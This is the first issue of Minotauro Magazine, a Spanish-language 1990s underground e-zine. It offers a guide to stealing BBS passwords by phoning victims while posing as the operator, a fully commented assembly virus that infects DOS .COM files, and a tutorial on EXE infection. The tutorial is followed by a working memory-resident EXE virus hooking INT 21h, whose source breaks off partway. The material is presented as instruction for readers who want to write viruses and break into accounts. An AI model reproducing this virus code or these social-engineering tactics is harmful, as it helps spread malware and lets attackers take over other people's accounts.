Bienvenidos a la edici¢n nß 1 de Minotauro Magazine (c) Minotauro Group.
Ante todo, unas palabras de los autores..:

 Como veran esta es la primer revista en formato ascii que refleja el mundo del
under informatico, (en castellano). Lo que tratamos de hacer con esto es reco_

 *** (bueno, en el momento que escrib° esto no conoc°a las HBO) ***

pilar todo lo que podamos, y armarlo en un paquete, para no tener que estar
pensando "en donde deje el formato de los .exe", ¢ "como mierda se hacia para
evadir al vsafe" (puajj!!).

 Con respecto a la velocidad de edicion, no tenemos un tiempo determinado. Pue_
de ser tanto una semana, como 2 meses. Todo depende de cuanto podamos juntar y
compilar. Lo que s°, esperamos todo el apoyo posible (hmmm:) para que esto sal_
ga adelante...Cualquier informaci¢n ser† bienvenida.

Cualquier tipo de dudas, nos pueden encontrar en estos BBS de Bs.As.:
        Dionysios I     +54-1-253-4389 (23hs a 09hs GMT-3)
        Dionysios II    +54-1-253-2098 (23hs a 09hs GMT-3)

Bueno, ya es suficiente..... vayamos a los fierros!

===============================================================================
Indice :
 1) Robando passwords, by Drako
 2) Programaci¢n de virus #1, by Drako
 3) Programacion de virus #2, by Trurl
 4) Evadiendo al TBAV, Zarathustra, Trurl & Drako
 5) Ocultando virus, troyanos..., by Drako
 6) Evadiendo al Vsafe, by Drako
 7) Emma Virus, by Trurl

===============================================================================
Robando passwords...
-------------------------------------------------------------------------------
 (Quiero aclarar que estas son tÇcnicas muy boludas, pero lo que no quita que
 sean efectivas:)
 
 QuiÇn no quizo alguna vez, saber el password de algun amigo,
 para ese BBS pago, que tantas ganas de entrar tenes ? Bueno, para eso existen
 muchos mÇtodos... Si el tipo es medio tarado, directamente le podÇs pedir el
 TELIX.FON ¢ lo que sea. Pero no es lo m†s aconsejable, porque si llegara a no_
 tar alguna irregularidad en su cuenta o algo por el estilo, al primero que le
 echar°a la culpa ser°a a m° (Bue' en este caso a VOS). Otro mÇtodo es pedir_
 le directamente TODO el programa de comunicaci¢nes que Çl use. As°, no ser°a
 tan evidente... pero el mÇtodo que yo prefiero, es (si lo conozco y puedo ir a
 su casa), en un momento de distracci¢n, copiar a mano su registro de telÇfonos.

 Ahora, ya con sus passwords, lo que queda es entrar y VIOLAR (en el mal senti_
 do de la palabra) esa tan jugosa cuenta.

 Ahora bien, en el caso de que no conozcamos a la persona, pero sepamos que es
 usuario de alg£n BBS, lo £nico que hace falta es:

 A) Conocer su n£mero de telÇfono
 B) Aparentar seguridad

 Con estos 2 puntos, tenemos un 50% del camino hecho. Ahora lo £nico que falta
 es un poco de suerte.... suerte en el sentido de quiÇn te atienda.
 Un flaco con un 10% de coeficiente intelectual, no te da su password ni que lo
 mates, pero nunca est† de mas intentarlo.. de £ltima si todo sale mal, se pue_
 de cortar y listo.

 Llamamos....... nos atiende una persona....... y empieza la joda!
 En primer lugar, hay que tener bien en mente el nombre del BBS...no titubear.
 Uno de los mejores versos (y de los m†s viejos) es hacrese pasar por el opera_
 dor. Con la excusa de que se vol¢ la base de usuarios y que necesitamos sus
 datos otra vez, le preguntamos sus datos... entablamos una conversaci¢n y en
 donde veamos que sea el mejor momento, hacemos la pregunta del millon:
 Y TU PASSWORD ANTERIOR ??

 -Hay suspenso.....-
 
 Luego de unos segundos se rompe el silencio, el usuario entr¢ como el mejor!!!
 Una vez que tenemos su password, no desesperar, hay que tratar de que no sea
 muy obvio de que ya obtuvimos lo que quer°amos y seguir por un rato mas la
 conversaci¢n. Despues de los besos, cortamos y llamamos lo mas r†pido posible
 a este BBS.

 Bueno, ahora quiero entrar a los bbs del mundo y verlos all°, husmeando por
 todos lados...
                       Yours faithful, Drako.
Programaci¢n de virus (b†sico) #1...
-------------------------------------------------------------------------------
 Esta secci¢n esta dedicada, para aquellos que tienen la intenci¢n, pero NO los
 conocimientos, como para programar un virus. Ante todo, hacer un virus no es
 nada del otro mundo. Es un proyecto muy factible, pero eso s°, es necesario
 tener conocimientos, por lo menos b†sicos, de programaci¢n y muchas ganas!
 Si algo de esto faltara, programar un virus ser°a una tarea muy tediosa.

 Bien, si re£nen estos requisitos entonces sigan leyendo este art°culo...

			JE	READ
			JNE	FUCK_YOU!
READ:

 La supervivencia de los virus se basa en la reproducci¢n. Uds. dir†n:
 "Y c¢mo mierda hago para que un programa se reproduzca?", bueno......esto es
 muy sencillo : Copi†ndose a s° mismo en otros archivos...

 El funcionamiento l¢gico de un virus es este:

 1- Busca un file para infectar
 2- Lo abre y revisa si esta infectado
 3- Si lo esta, busca otro
 4- Sino, lo infecta
 5- Le devuelve el control al programa anfitri¢n

 Un ejemplo de un virus muy boludo es este..:

;******************************************************************************
;                         COMIENZO DEL EJEMPLO:
;******************************************************************************

;Ojo......este ejemplo es una chotada....:
; - el virus no comprueba infecci¢n.......
; - busca £nicamente el primer .COM del directorio actual.......
;
; Cuidado al ejecutarlo, porque la 1ra vez, se ejecuta, busca el primer file y
; lo infecta. Si despues corremos ese file reciÇn infectado, se ejecuta el
; virus desde ah°. Entonces el virus busca el primer file del direcotorio otra
; vez y vuleve a infectar el mismo file y as° sucesivamente....

;===================================CODIGO=====================================
;(Aclaraci¢n : las variables de un .COM son relativas al offset 100h)

codigo  segment 'code'
	org 100h				;Organizo todo el c¢digo a
						; partir del offset 100h
	assume cs:codigo,ds:codigo,es:codigo	;Defino el uso de los segmentos

start   proc far				;Comienzo del procedimiento
COMIENZO:
	push    cs				;Guardo en la pila a CS
	push    cs				;Guardo en la pila a CS
						; otra vez mas.
	pop     ds				;Saco de la pila a DS
	pop     es				;Saco de la pila a ES

	call    falso_proc			;Llamo al proc. para que me
						; quede en la pila la direccion
						; del proc.
falso_proc      proc near
falso_proc      endp

	pop     bp				;BP<== Direccion del proc.
	sub     bp, 107h			;BP<== BP - Dir. anterior.


;Esto lo hago para tomar las variables relativas a BP. Ya que cuando infecto,
;las variables me quedan desplazadas exactamente la longitud del file. En la
;primer infecci¢n la posicion de la intrucci¢n SUB BP, 107h es 107h, con lo
;cual BP me queda en 0, entonces cuando llame a una variable con BP+VARIABLE,
;el valor de la direcci¢n de la variable no se modifica, y cuando lo cargo de
;un file infectado de por ejemplo 100h bytes, la instrucci¢n SUB BP,107h me
;queda en la direcci¢n 207h, quedandome BP=100h, justamente el tama§o del file
;original. Entonces si yo hubiera llamado a la variable sin sumarle BP, me hu_
;biera quedado 100h bytes cortos.

;Buscar el primer .COM del directorio -----------------------------------------
	mov     ah, 4eh				;Buscar 1er file.
	lea     dx, bp+file_inf			;DS:DX= offset de FILE_INF
						;(*.*) para que busque TODOS
						;los archivos, incluyendo
						;directorios con extensi¢n.
	mov     cx, 0000h			;Atributos de la entrada.
	int     21h

;Esos atributos que menciono en el comentario, son los atributos de la entrada
;de directorio..Al poner los atributos en 0, le digo al DOS que busque archi_
;vos normales. Si pongo alguna combinaci¢n de bits que comprenda los atributos
;de Hidden, System, ¢ Directorio, el DOS busca files con esos atributos, ademas
;de los normales. Si el rango de busqueda incluye el bit de Volumen, entonces
;la busqueda se limita a eso.
;Estos son los bits correspondientes a cada atributo :
;Bits:	7 6 5 4 3 2 1 0
;	. . . . . . . 1		Bit 0: Read only
;	. . . . . . 1 .		Bit 1: Hidden
;	. . . . . 1 . .		Bit 2: System
;	. . . . 1 . . .		Bit 3: Volumen
;	. . . 1 . . . .		Bit 4: Directorio
;	. . 1 . . . . .		Bit 5: Archivo
;
;Los bits 6 y 7 no son usados.. son reservados para 'futuras aplicaciones'

;Abrir file -------------------------------------------------------------------
	mov     ah, 3dh				;Abro file.
	mov     al, 00000010b			;Para lectura/escritura.
	mov     dx, 009eh			;DX<== offset del DTA(Filename)
	int     21h                             ;El handle viene al AX.
	push    ax                              ;Lo guardo en la pila.

;Ahora los atributos que estoy seteando en AL, no son los mismos que antes.
;Estos son atributos de apertura... Lo que nos interesa de esto son £nicamente
;los primeros 3 bits:
;
;Bits:	2 1 0
;
;	0 0 0		Modo de Read only
;	0 0 1		Modo de Write only
;	0 1 0		Modo de Read/Write
;
;Ahora bien, ya en AL tenemos seteados los atributos del file. Lo que necesita_
;mos ahora es tener en DX, el offset de la variable donde tengo la cadena
;ASCIIZ con el nombre del file a abrir. En este caso no tenemos una variable
;NOMBRE_DEL_FILE, sino que el nombre lo tenemos en el DTA (Disk Transfer Area).
;Digo que lo tenemos en el DTA... por quÇ?? Sencillamente porque el servicio de
;buscar un file para infectar :) devuelve toda la informaci¢n necesaria en esta
;zona de memoria.. Este b£ffer, si no fue seteado a otra direcci¢n, se encuen_
;tra en el PSP. Mas precisamente a partir del offset 80h y tiene un tama§o de
;43d bytes.
;El formato del DTA es el siguiente :
;
;Offset		Bytes		Funci¢n
; 00h		 21d		Usado por el DOS para el servicio 4fh (Buscar
;				 pr¢ximo file)
; 15h		 01d		Atributos del file encontrado
; 16h		 02d		Hora del file
; 18h		 02d		Fecha del file
; 1Ah		 04d		Tama§o del file en bytes
; 1Eh		 13d		Nombre del file en una cadena ASCIIZ
;				(FILENAME.EXT),0
;
;Bueno, entonces lo £nico que necesito es darle a DX la posici¢n de memoria
;donde tengo el nombre del file : MOV DX, 1Eh y listo. Pero cuidado, acuÇrdense
;que el DTA empezaba a partir del offset 80h, osea que a DX le tengo que pasar
;el valor de : 80h+1Eh = 9Eh. Entonces quedar°a MOV DX, 9Eh.
;Ese problema ya est† solucionado. Ahora se preguntar†n que es eso del handle..
;bueno, el handle (tomenlo as°) es un n£mero con el cu†l, el DOS sabe a que ar_
;chivo nos estamos refiriendo. El DOS nos da un handle por cada archivo que a_
;brimos, as° que hay que tener cuidado, al querer leer o escribir a un file, de
;tener el handle correspondiente.

;Leo los 3 primeros bytes -----------------------------------------------------
	pop     bx                              ;Sco handle de la pila hacia BX
	push    bx				;Y lo vuelvo a guardar.
	mov     ah, 3fh                         ;Leer file.
	mov     cx, 0003h			;Leer 3 bytes.
	lea     dx, bp+buffer                   ;Para guardarlo en el buffer.
	int     21h

INFECTAR:
;Mover puntero al principio ---------------------------------------------------
	mov	ax, 4200h			;Muevo el puntero de escritura
						; al principio del prog.
	mov     cx, 0000h
	mov     dx, 0000h
	int     21h

;En CX y DX va el desplazamiento del puntero, relativo a la posici¢n del punte_
;ro (especificado en AL)
; Modos de desplazamiento del puntero seteados en AL:
;	AL <== 00	Mover el puntero al principio del file
;	AL <== 01	Dejar el puntero donde est†
;	AL <== 02	Mover el puntero al final del file

;Escrivo el primer byte (jmp) -------------------------------------------------
	mov     ah, 40h				;Escribir el 1er. byte.
	mov     cx, 1d				;Cantidad=1.
	lea     dx, bp+jump			;DX<== offset de JUMP
	int     21h

;(Ac† tambiÇn necesito el handle, pero no lo seteamos otra vez, porque todav°a
;el registro donde estaba el handle no se modific¢)...
;
;El primer byte que se tiene que escribir es un jump. El s°mbolo del jump est†
;mas abajo. Lo que le sigue al jump es la direcci¢n de este salto :
;Longitud del file + 1 (lo de +1 pruebenlo bien, generalmente trae problemas,
;si es as°, entonces multipl°quenlo por 18 o restenle 23) jejejej.
;Como todo el c¢digo del virus va a ir copiado al final del file, el salto le
;da el control al virus en un file infectado.

;Calculo la longitud del file -------------------------------------------------
	mov     cx, 2				;Copiar 2 bytes.
	mov     si, 009ah			;SI<== offset del DTA (long.).
	lea     di, bp+longitud			;DI<== offset de LONGITUD.
	rep     movsb				;Copia.

;Esta instrucci¢n necesita en DS:SI la direcci¢n del buffer 'SOURCE' y en ES:DI
;la direcci¢n del buffer donde se va a copiar el string (en este caso copio la
;longitud del file del DTA a la variable LONGITUD)

	sub	word ptr [bp+longitud], 3	;Resto 3 bytes a [LONGITUD].

;Escrivo longitud o sea, completo el jmp --------------------------------------
	mov     ah, 40h				;Escribo.
	mov     cx, 2d                          ;Cantidad de bytes.
	lea     dx, bp+longitud			;DX<== offset de LONGITUD.
	int     21h

;Mover puntero al final -------------------------------------------------------
	mov	ax, 4202h			;Muevo el puntero de escritura
						; al final del prog.
	mov     cx, 0000h
	mov     dx, 0000h
	int     21h
	add	word ptr [bp+longitud],3	;Restauro LONGITUD.

;Copio el virus al programa ---------------------------------------------------
	pop     bx				;Restauro el handle.
	mov     ah, 40h				;Servicio.
	mov     cx, 190d			;Cantidad de bytes a copiar.
	lea 	dx, bp+comienzo			;Copiar desde...
	int     21h

;Cierro el file luego de haberlo infectado ------------------------------------
	mov     ah, 3eh				;Cerrar file.
	int     21h

;Ac† tambiÇn necesito en DS:DX la direcci¢n del buffer con el string contenien_
;do el nombre del file, pero ya DS y DX me vienen cargados de arriba.

NO_INFECTAR:

;=======================DEVUELVE EL CONTROL AL ANFITRION=======================
;Copiar el buffer con los 3 primeros byte del file a memoria ------------------
	mov	cx, 0003h			;Cantidad de bytes (3).
	mov	di, 0100h			;DI<== offset 100h. Comienzo
						; del prog. en memoria.
	lea	si, bp+buffer			;SI<== offset del BUFFER
	rep	movsb				;Copia.

;Lo que estoy haciendo ac†, es recomponer el file, ya que una vez que qued¢
;infectado, los primeros bytes del programa est†n sobreescritos por el virus,
;por eso hay que volver a poner el file como estaba originalmente (copiando
;los primeros 3 bytes que hab°amos guardado anteriormente, a la memoria)

;Saltar al offset 100h --------------------------------------------------------

	mov	ax, 0100h			;Direccion para ejecucion del
	jmp	ax				; anfitrion.

;En los .com, el c¢digo ejecutable, comienza a partir del offset 100h. 
;Lo que hay entre el offset 00h y el 100h son datos del programa, como el DTA
;por ejemplo.

;Antes que nada, la diferencia principal entre un .COM y un .EXE es que un .COM
;no puede ocupar mas de un segmento de memoria (65535 bytes), mientras que un
;.EXE puede, ya que el DOS se encarga de "recortarlo" y ponerlo en diferentes
;segmentos.
;Los .COM son copias fieles de lo que hay en memoria, a diferencia de los .EXE

;==============================AREA DE DATOS===================================

buffer			db 7d dup(0)
longitud		db 2 dup(0)
file_inf		db '*.COM',0
jump			db 'È',0		;<----ascii del jump

;(El 0 es el caracter de fin de ASCIIZ string)

start	endp					;Fin del procedimiento princip.
codigo  ends					;Fin del segmento de codigo
end     comienzo				;Fin. Que empiece en COMIENZO

;******************************************************************************
;                              FIN DEL EJEMPLO
;******************************************************************************
Programaci¢n de virus (no tan b†sico) #2...
-------------------------------------------------------------------------------
	La infeccion de EXE no es mucho mas dificil que la de COM. Lo que
sucede es que implica el dominio de una estructura conocida como "EXE header",
pero una vez conocido este, no es muy dificultosa, y ofrece mas matices que
el puro y simple agregado de un JMP al principio del codigo. Comencemos...

% Estructura del Header %
	La estructura de un header EXE esta disponible en casi cualquier
libro bueno de DOS, e incluso en algunas otras revistas de H/P/V, pero de
todas formas, la pongo aca para que el lector que no la tiene sepa de que
estoy hablando:

   Offset Descripcion
     00   Marca de EXE (MZ = 4D5A)
     02   Numero de bytes en la ultima pagina (de 512 bytes) del programa
     04   Numero total de paginas de 512 bytes, redondeado hacia arriba
     06   Numero de entradas en la Tabla de Alocacion
     08   Size del header (en paragrafos, incluyendo la Tabla de realocacion)
     0A   Minimo de memoria requerido (en para)
     0C   Maximo de memoria requerido (en para)
     0E   SS inicial
     10   SP inicial
     12   Checksum
     14   IP inicial
     16   CS inicial
     18   Offset de la Tabla de Alocacion desde el comienzo del file
     1A   Numero de Overlays generados

	La marca de EXE (MZ) es en realidad lo que distingue a un EXE de un
COM, y no la extension. La extension solo sirve para que DOS determine que
correr antes (COM-> EXE -> BAT). Pero lo que determina si es un exe
'verdadero' o no, es esta marca. Las entradas 02 y 04 contienen el size del
programa en si, en el formato 512 byte pages * 512 + reminder. Osea, si el
programa es de 1025 bytes, tengo 512 byte pages = 3 (redondeado hacia arriba)
y reminder = 1. (En realidad uno se pregunta, si las paginas estan
redondeadas hacia arriba, para que es el reminder. Es mas, ya que vamos a
usar 4 bytes para el size, porque no ponerlo simple y llano. Y bueh, es dura
la vida del programador de virus :-)) La entrada en 06 contiene el numero de
entradas de la tabla de realocacion (el numero de "punteros", ver mas abajo),
y la entrada en 18 contiene el offset de esta tabla dentro del file. El size
del header (en 08) incluye la tabla de realocacion. El minimo de memoria
requerida (0A) es lo minimo que necesita el prog. para correr, y el maximo
(0C), lo que desearia para correr. (Por lo general es seteado a FFFF = 1M por
los linkers, y DOS entrega toda la memoria disponible). El SS:SP y CS:IP
contienen los valores iniciales para estos registros (ver abajo). Notese que
SS:SP esta puesto al reves, osea que un LDS no funciona para cargarlo. El
checksum (12) y el numero de overlays (1A) pueden ser ignorados, ya que nunca
son usados.

% EXE vs. COM load process %
	Bueno, todos conocemos exhaustivamente como se carga un COM: Se
construye un PSP, se crea un Environment Block a partir del bloque del parent
y se copia el file COM integro y textualmente en la memoria, debajo del PSP.
El hecho de que la memoria (en la arquitectura de nuestras computadoras) este
segmentada en 'cachos' de 64k hace que ningun COM pueda tener un size mayor a
este. (Porque, si lo tuviera, como lo accederia, de todos modos, si el file
es copiado textual a memoria. De todas formas DOS no ejecuta COM de +64k).
Ademas, ninguna instruccion que involucre referencias de segmento (del tipo
CALL XXXX:XXXX, etc) esta permitida. Notese que ademas cuando un COM es
cargado, se le entrega toda la memoria disponible.
	En el caso de los EXE, para sobreponerse a estas limitaciones, la
cosa es mas compleja, y se utiliza la consabida "Tabla de realocacion"
(reallocation table), y el Header EXE para esto. 
	Cuando se ejecuta un EXE, DOS primero hace las cosas como en un COM
(Construye PSP, Crea Environment Block). Luego lee, a un area de trabajo, el
Header, y a partir de los datos de este, el programa en si en el apropiado
lugar de la memoria, y por ultimo, en otro area de trabajo, la tabla de
realocacion. A continuacion procede a realocatear todo el codigo. ®En que
consiste esto?
	El linker trata a las referencias de segmento siempre con un base
adress de 0. Osea, el primer segmento es el 0, el segundo el 1, etc. Sin
embargo, el programa es cargado en un segmento que no es 0, sino, por
ejemplo, 1000H. Entonces todas las referencias al segmento 1, deben ser
convertidas al segmento 1001H.
	La tabla de realocacion es sencillamente una lista de punteros que
marcan referencias de este tipo (al segmento "1", etc). Estos punteros a su
vez son relativos a la base adress de 0, osea que tambien deben ser
realocateados. Por lo tanto, DOS suma al "puntero" de la tabla de
realocacion el segmento efectivo (el segmento en que fue cargado el programa,
osea 1000H) y obtiene asi una direccion absoluta en memoria de la referencia
de segmento. A esta referencia le suma tambien el segmento efectivo, y luego
de haber hecho esto con todas y cada una de las referencias de segmento, el
EXE esta realocateado, y listo para ejecutar. Por ultimo DOS setea SS:SP a
los valores del header (tambien realocateados, osea el SS del header+1000H),
y entrega el control al CS:IP del header (obviamente tambien realocateado).
Veamos un ejemplo sencillo:

EXE PROGRAM FILE
  Header				CS:IP (Header) 	0000:0000 +
  (relocation 				Eff. Segment	1000      +
   table entries=2)			PSP		0010      =
					-------------------------
					Entry Point	1010:0000 >ƒƒƒƒƒƒƒƒƒø
  Relocation Table                         ³ƒƒƒƒƒƒƒƒƒƒƒƒƒŸ                  Š
   0000:0003 >ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒ> + 1010H = 1010:0003 >ƒƒø            Š
				   ³ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒŸ            Š
   0000:0007 >ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒ¦ƒƒ> + 1010H = 1010:0007 >ƒƒø            Š
				 ³ƒ¦ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒŸ            Š
  Program Image			 Š Š	PROGRAM IN MEMORY                   Š
				 Š Š	PSP			1000:0000   Š
  call 0001:0000		 Š ¿ƒƒ>	call 1011:0000		1010:0000 <ƒŸ
  nop				 Š	nop			1010:0005
  mov ax, 0003			 ¿ƒƒƒƒ>	mov ax, 1013		1010:0006
  mov ds, ax				mov ds, ax		1010:0009

  Nota: Espero que sepan apreciar el uso de las flechitas, porque me costo
  un huevo hacerlas a manopla con Alt+??? en Norton Comander Editor.

% La infeccion del EXE %
	Luego que se ha determinado que el file es un EXE y no un COM, estos
son los pasos a seguir para infectarlo:
 - Obtener el size del file y calcular el CS:IP
	Esto es controvertido. Si bien no todos, la mayoria de los virus
	agregan al file 1-15 bytes de basura para redondearlo a paragrafo.
	Esto permite calcular CS de tal forma que IP es invariante de un file
	infectado a otro. A su vez esto permite escribir el virus sin
	"realocacion", ya que corre siempre en el mismo offset, lo cual
	redunda en una complejidad y un size menor del virus. El esfuerzo
	(minimo) de escribir estos 1-15 bytes se justifica por estos
	beneficios.
 - Agregar el Virus al final del file
	Bueno, supongo que conoceran la funcion 40H de INT 21H, a esta
	altura, no? :-).
 - Calcular el SS:SP
	En la infeccion de EXE, es necesario que el virus se "arregle" una
	stack nueva propia porque sino podria darse el caso que la stack
	del hoste estuviera SOBRE el codigo del virus, y al usarla, se
	sobreescribiera el codigo que se esta ejecutando. El sistema se
	colgaria. Por lo general SS es igual al CS calculado, y SP constante
	(se lo puede poner despues del codigo, p.eg.) Una cosa hay que notar:
	SP nunca puede ser impar. Si es impar, aunque funciona, es un error,
	y el TBSCAN lo detecta. (TBSCAN detecta 99% de las stacks de los
	virus con la flag 'K'. La unica forma de eludirla que he descubierto
	es poner la stack ADELANTE del virus en el file infectado, lo cual
	es bastante trucho, pues aumenta el size de infeccion, pues hay que
	escribir mas "basura" para hacer espacio de stack)
 - Modificar el size reportado en el header
	Ahora que ya se ha escrito el virus, se puede calcular el size final
	y asi escribirlo en el header. La cuenta es sencilla: en "paginas"
	va el size dividido por 512 mas 1, y en reminder, va el resto. Facil
	de hacer, basta una instruccion DIV.
 - Modificar el "MinAlloc"
	En la mayoria de los EXE, el "MaxAlloc" esta puesto en FFFF, osea
	un mega, y el DOS le entrega toda la memoria disponible. En estos
	casos, hay lugar de sobra para HOSTE+VIRUS. Pero dos cosas pueden
	suceder: Uno, que el header no tenga FFFF en el MaxAlloc, haciendo
	que solo haya un minimo de memoria para el hoste, y posiblemente nada
	para el virus. Dos, que haya poca memoria en el sistema, y "toda la
	memoria disponible" entregada por el FFFF sea aun asi insuficiente
	para HOSTE+VIRUS. En ambos casos, el virus no se carga, y el sistema
	se cae. Para solucionar esto, basta sumar al MinAlloc el size del
	virus en paragrafos. En el primer caso, el virus se cargaria en
	memoria y todo andaria al pelo. En el segundo, DOS se negaria a
	ejecutar el file, por memoria insuficiente.

	Bien, esto es todo. Solo dos ultimas cositas: al hacer un infector
de EXE, no solo interesa la rutina de infeccion, sino ademas la de instalacion.
Tomar en cuenta que en un EXE, DS y ES apuntan al PSP, y son diferentes de SS,
y CS, que a su vez pueden ser distintos entre si. Esto les puede salvar de
HORAS de debugging y errores inexplicables. Bueno, basta seguir estos pasos
para infectar un exe en la manera 'tradicional' y segura. Recomiendo observar
atentamente el virus de ejemplo (mas abajo) que ilustra todos y cada uno de
los topicos mencionados. 

% Detalles, Oh, Detalles ... %
	Un ultimo detalle, importante en cierta medida, son los EXEs de un
tamano muy grande. Existen algunos ejecutables de este tipo, mayores a 500k,
a veces. (Por ejemplo el TC.EXE que era el IDE del Turbo C/C++ 1.01, tenia
800k). Porsupuesto estos EXEs no son comunachos, sino EXEs con overlays
internos. Estos EXEs son casi imposibles de infectar por dos razones:
	La primera de tipo teorica. Sucede que con un par de registros
SEGMENT:OFFSET solo se puede direccionar 1M. Por lo tanto es tecnicamente
imposible infectar EXEs de 1M+ de la forma tradicional (Ya que es imposible
direccionar el CS:IP al final del file). Ningun virus puede ni podra hacerlo. 
(Existen EXE de 1M+? Si, el EXE del juego HOOK ocupaba 1.6M BLERGH!). 
	La segunda, de tipo practica. Estos EXEs con overlays internos no se
cargan enteros en memoria, como los exes comunes. Se carga solo una parte
pequena de ellos, que se encarga de cargar a las otras partes a medida que
las necesita. Es por eso que puede correr un EXE de 800k (No se si se dieron
cuenta que 800k > 640k :-). Porque esto hace dificil infectarlos? Porque uno
de estos EXEs luego de haber sido infectado, dadas las modificaciones hechas
por el virus (Entre ellas la del size del program load image), tratara de ser
cargado ENTERO en memoria. Osea, del principio al fin. Osea, los 800k (o los
que sean). Evidentemente, el sistema se cuelga :-). Se puede pensar un virus
que infectara EXEs muy largos con overlays internos (menores a 1M), mediante
la manipulacion del "Header Size", pero aun asi no lo veo muy posible ya que
en alguna parte DOS deberia cargar un header de 800k :-).

% Un caso especial: RAT %
	La comprension del proceso de la realocacion de un Header nos permite
entender ahora el funcionamiento de un virus infector de EXE especial. Se
trata del virus RAT. Este virus se aprovecha del hecho de que los linkers
suelen hacer los headers de a cachos de 512 bytes, dejando mucho espacio sin
usar en los casos en que hay poca realocacion. 
	Este virus utiliza este espacio para copiarse. Se copia alli, en el
espacio sin usar del header (de la tabla de realocacion). Porsupuesto su
funcionamiento es totalmente diferente del de un infector normal de EXE. No
puede admitir ninguna realocacion, ya que como su codigo esta ANTES del del
hoste, seria su codigo (y no el del hoste) el que seria realocateado. Por lo
tanto, tampoco puede hacer un sencillo salto al codigo del hoste para
correrlo, (ya que no esta realocateado) sino que tiene que volver a escribir
el header original a file, y correro con un AX=4B00, INT 21.

% Virus Ejemplo %
	Bueno, como corresponde a toda revista de Virus que se precie, aqui
va un codigo totalmente funcional, y que ilustra todo lo dicho sobre la
infeccion de EXE. Si no entendieron alguna parte, o si quieren ver algo hecho
"en el codigo", fijense en este virus, que ademas esta comentado HASTA LAS
MANOS. 
-------------------- Cut Here ------------------------------------------------
; NOTA: Este es un virus mediocre, solo para ilustrar la infeccion de EXE.
; No puede infectar READ ONLY y modifica la fecha/hora del file. Se le
; podrian hacer muchas mejoras, tanto funcionales (haciendo que infecte
; READ ONLY, etc), como de optimizacion de codigo (la mayoria de los datos,
; de hecho, TODOS los datos except SS:SP, CS:IP no son necesarios y podrian
; ser volados, usando luego la heap, ademas de otra optimizaciones).
; NOTA 2: Primero, le puse una notita muy fifi, y segundo, hice que sonara
; una bell cada vez que infecta, asi que si se te escapa y te infecta todo el
; rigido, es porque sos un flor de pelotudo.

code segment para public
	assume cs:code, ss:code
VirLen		equ	offset VirEnd - offset VirBegin
VirBegin	label	byte
Install:
	mov ax, 0BABAH	; Este chequeo es para no quedar residente dos veces.
	int 21h
	cmp ax, 0CACAH	; Si nos devuelve este codigo, es que ya esta resi-
	jz AlreadyInMemory; dente el virus

	mov ax, 3521h	; Con esto obtenemos el adress original de la INT 21
	int 21h		; para luego poder llamarla
	mov cs:word ptr OldInt21, bx
	mov cs:word ptr OldInt21+2, es

	mov ax, ds			; \
	dec ax                          ; |
	mov es, ax                      ; |
	mov ax, es:[3]	; block size    ; | Si sos medio novato, ignora todo
	sub ax, ((VirLen+15) /16) + 1   ; | esto. (Es el metodo de MCB).
	xchg bx, ax                     ; | No viene al caso para la
	mov ah,4ah                      ; | infeccion de EXE.
	push ds                         ; | Es una de las formas de quedar
	pop es                          ; | residente de los virus.
	int 21h                         ; |
	mov ah, 48h                     ; |
	mov bx, ((VirLen+15) / 16)      ; |
	int 21h                         ; |
	dec ax                          ; |
	mov es, ax                      ; |
	mov word ptr es:[1], 8          ; |
	inc ax                          ; |
	mov es, ax                      ; |
	xor di, di                      ; |
	xor si, si                      ; |
	push ds                         ; |
	push cs                         ; |
	pop ds                          ; |
	mov cx, VirLen                  ; |
	repz movsb                      ; /

	mov ax, 2521h	; Aqui se cuelga de la INT 21
	mov dx, offset NewInt21
	push es
	pop ds
	int 21h
	pop ds	; Esto es para que DS y ES esten en sus valores originales
	push ds	; OJO QUE ESTO ES IMPORTANTE. Sino el EXE, al recibir DS y ES
	pop es	; incorrectos, se puede colgar.

AlreadyInMemory:
	mov ax, ds                      ; Con esto seteo SS al valor del Head.
	add ax, cs:word ptr SS_SP       ; notese que lo 'realocateo' usando
	add ax, 10h                     ; ds ya que ese es el segmento en que
	mov ss, ax			; se cargo el prog. El +10 corresponde
	mov sp, cs:word ptr SS_SP+2	; al PSP. Tambien seteo SP
	mov ax, ds
	add ax, cs:word ptr CS_IP+2	; Ahora hago lo mismo con CS.
	add ax, 10h                     ; e IP. Los pusheo, y despues hago un
	push ax				; retf. Esto hace que "salte" a esa
	mov ax, cs:word ptr CS_IP	; posicion
	push ax
	retf

NewInt21:
	cmp ax, 0BABAh	; Eso es para el chequeo de que el virus no este
	jz PCheck	; residente dos veces.
	cmp ax, 4b00h	; Esta es la intercepcion de la funcion de 'correr
	jz Infect	; file'
	jmp cs:OldInt21	; Si no es ninguna de estas cosas, se le entrega el
			; control a la INT 21 original para que esta procese
			; la llamada.
PCheck:
	mov ax, 0CACAH	; Este es el codigo que devuelve.
	iret		; volver.

; Ahora viene la rutina de infeccion. Prestar atencion, pues esto es la
; "cosa en si". Todo lo demas ignorenlo si quieren,pero en esto fijense bien.
Infect:
	push ds	; En DS:DX viene el nombre del file a infectar.
	push dx	; Por lo tanto hay que guardarlo.
	pushf
	call cs:OldInt21 ; Llamamos a int 21 original para correr el file.
	push bp	; Salvamos todos los registros.
	mov bp, sp ; Esto es importante en una rutina residente, ya que si
	push ax	; no se hace, el sistema probablemente se cuelgue.
	pushf
	push bx
	push cx
	push dx
	push ds

	lds dx, [bp+2]	; Reobtenemos el nombre del file (de la stack)
	mov ax, 3d02h	; Abrimos el file para r/w
	int 21h
	xchg bx, ax
	mov ah, 3fh	; Aqui leemos los primeros 32 bytes del file a mem.
	mov cx, 20h	; Los leemos a la variable "ExeHead"
	push cs
	pop ds
	mov dx, offset ExeHeader
	int 21h

	cmp ds:word ptr ExeHeader, 'ZM'	; Esto es para determinar si es un
	jz Continue                     ; EXE "verdadero" o si es un COM.
	jmp AbortInfect                 ; Si es un COM, no lo infectamos.
Continue:
	cmp ds:word ptr Checksum, 'JA'	; Esta es la marca de reconocimiento
	jnz Continue2			; del virus. Para esto usamos el
	jmp AbortInfect                 ; Checksum del Header (que no se usa
					; para ninguna otra cosa). Si ya esta
					; infectado, no lo infectamos :-)
Continue2:
	mov ax, 4202h	; Ahora vamos al final del file para ver si termina
	cwd		; en paragrafo.
	xor cx, cx
